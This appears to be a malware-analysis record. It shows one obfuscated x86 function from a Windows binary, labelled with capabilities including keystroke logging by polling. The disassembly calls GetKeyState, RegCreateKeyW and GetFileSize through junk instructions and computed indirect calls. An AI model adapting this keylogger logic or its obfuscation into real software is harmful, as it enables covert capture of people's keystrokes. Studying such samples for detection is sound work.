Function at 0x402e08
Capabilities:
Get file size
Log keystrokes via polling

Disassembly:
add edi, eax
and edi, esi
cmp esi, 0x8cc6473a
jl 0x401c04
neg eax
mov edi, 0x7a
add eax, esi
push 0
pop eax
push eax
call dword [sym.imp.user32.dll_GetKeyState]
mov dword [0x4166f7], 0
mov edi, dword [0x4166f7]
push edi
mov eax, 3
mov edi, eax
push edi
mov edx, 0xa57b9
mov eax, 0x3619db
add edx, eax
push dword [edx]
push 0x416667
pop ecx
pop dword [ecx]
mov edx, dword [0x416667]
call edx
or eax, eax
jne 0x401719
jmp 0x401bef
push ebp
pop eax
mov eax, eax
push eax
mov ebp, esp
sub esp, 0x50
push edi
push esi
mov ecx, 0
add ecx, 0xc62
add ecx, dword [0x41662c]
sub ecx, 0xf20
jne 0x402e2f
sub ecx, edi
shr ecx, 1
add ecx, dword [0x4169a9]
rol ecx, 1
dec ecx
cmp ecx, 0x589
jae 0x402e44
ror ecx, 1
shl ecx, 1
mov dword [ebp - 0x38], ecx
push 0xded4b
push eax
dec ebx
mov dword [ebp - 0x4c], ecx
push ecx
or al, bl
or bl, bl
push 0
call fcn.00401500
mov dword [ebp - 0x20], eax
or eax, eax
jne 0x402e67
dec edi
push 0
push 0x4162e5
push 0x80000001
mov ebx, dword [sym.imp.advapi32.dll_RegCreateKeyW]
call ebx
lea ecx, [esi + 0x416a09]
add ecx, 0xda8
js 0x402e8b
shl ecx, 1
dec ecx
sub ecx, dword [0x416189]
shr ecx, 1
sub ecx, dword [0x416aed]
rol ecx, 6
inc ecx
mov dword [ebp - 0x50], ecx
rol ecx, 8
sub ecx, dword [0x41605a]
add dword [0x416a0f], ecx
push 0xf60
pop ebx
ror ebx, 1
sub ebx, 0x3fc
ror ebx, 1
add ebx, 0xdd4
add ebx, dword [0x4168f8]
shl ebx, 8
mov dword [ebp - 0x20], ebx
add ebx, dword [0x41608e]
shl ebx, 6
sub ebx, ecx
sub dword [0x416182], ebx
push 0
mov eax, 0x3a0910
mov ecx, 0x66830
add eax, ecx
push dword [eax]
pop esi
mov eax, esi
call eax
push ebx
call fcn.004010e8
mov dword [ebp - 0x30], 0
mov edi, dword [ebp - 0x30]
push edi
mov dword [ebp - 4], 0xb
mov ebx, dword [ebp - 4]
push ebx
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 0xc]
push edx
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
push ecx
mov dword [ebp - 0x18], 0
mov esi, dword [ebp - 0x18]
push esi
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x30]
push eax
mov edi, 0x89e640
mov ecx, 0x497640
mov esi, ecx
sub edi, esi
call dword [edi]
mov dword [ebp - 0x30], eax
or eax, eax
jne 0x402f59
add eax, ebx
mov edi, 0x30
push edi
mov ecx, 0xd6
mov ebx, ecx
push ebx
mov edi, 0x1c1c56
mov ecx, edi
mov dword [0x416920], 0x254b4e
add ecx, dword [0x416920]
push ecx
mov eax, 0x93099f
mov esi, eax
push 0x529817
pop edi
sub esi, edi
call dword [esi]
or eax, eax
jne 0x401766
inc ebx
inc esi
push 0x302dd
lea eax, [0x416aaf]
push eax
sub edi, ebx
add ebx, esi
inc esi
push 0
lea eax, [0x416344]
push eax
lea eax, [0x41603d]
push eax
add ebx, eax
sub edi, esi
dec eax
mov dword [ebp - 0x4c], esi
push 0x9e9e4
call fcn.00401194
push 0
pop edi
push edi
push 9
pop esi
push esi
push 0xe4749c
pop edx
mov dword [ebp - 0x28], 0xa40308
mov eax, dword [ebp - 0x28]
sub edx, eax
call dword [edx]
or eax, eax
jne 0x401c02
xor ecx, ecx
push ecx
mov dword [ebp - 0x28], 0xff
mov edi, dword [ebp - 0x28]
push edi
push 9
pop esi
push esi
mov edi, 0x2b6017
mov esi, 0x15118d
add edi, esi
push dword [edi]
pop dword [0x41606b]
mov edi, dword [0x41606b]
call edi
or eax, eax
jne 0x401bf1
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x80000000
push 0
mov ebx, 0x20380c
mov eax, ebx
shl eax, 1
call dword [eax]
mov edx, 0
sub edx, 0xb27
shl edx, 5
add edx, dword [0x41650b]
mov ebx, edx
rol ebx, 1
add ebx, eax
sub dword [0x4160f1], ebx
ror ebx, 1
shr ebx, 1
add ebx, edi
mov dword [ebp - 0x24], ebx
push 0
push eax
mov ebx, dword [sym.imp.kernel32.dll_GetFileSize]
call ebx
mov ebx, 0
mov edi, ebx
sub edi, dword [0x416082]
sub edi, ebx
sub edi, 0x2e
ja 0x4030a0
sub edi, 0x5e2
sub edi, 0x59f
rol edi, 1
mov esi, edi
add esi, eax
inc esi
add dword [0x416854], esi
sub eax, 0x29ca3f
push 0x6c
pop edi
mov ebx, edi
add ebx, 0x200
jne 0x4030ca
rol ebx, 1
dec ebx
add ebx, dword [str.HDHN]
dec ebx
add dword [0x4167a3], ebx
mov esi, ebx
shl esi, 6
sub esi, dword [0x41687c]
inc esi
add dword [0x416751], esi
sub eax, 0xff9603f6
mov dword [0x4168fc], eax
mov edi, 0xf3
push edi
push 0x2c
pop edx
push edx
mov ebx, 0x1bc6af
mov esi, ebx
add esi, 0x259f37
push esi
mov dword [ebp - 0x28], 0x336aaa
mov eax, dword [ebp - 0x28]
mov dword [0x4160f7], 0xd06de
add eax, dword [0x4160f7]
mov eax, dword [eax]
call eax
or eax, eax
jne 0x401a8e
mov esi, dword [0x4168fc]
push esi
mov dword [0x416216], 0
mov edi, dword [0x416216]
push edi
push 1
pop edx
push edx
mov dword [ebp - 0x28], 0x6091e4
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x24], 0x202050
mov ebx, dword [ebp - 0x24]
sub esi, ebx
call dword [esi]
mov dword [ebp - 0x10], eax
or eax, eax
jne 0x403176
xchg ebx, ebx
inc edi
ret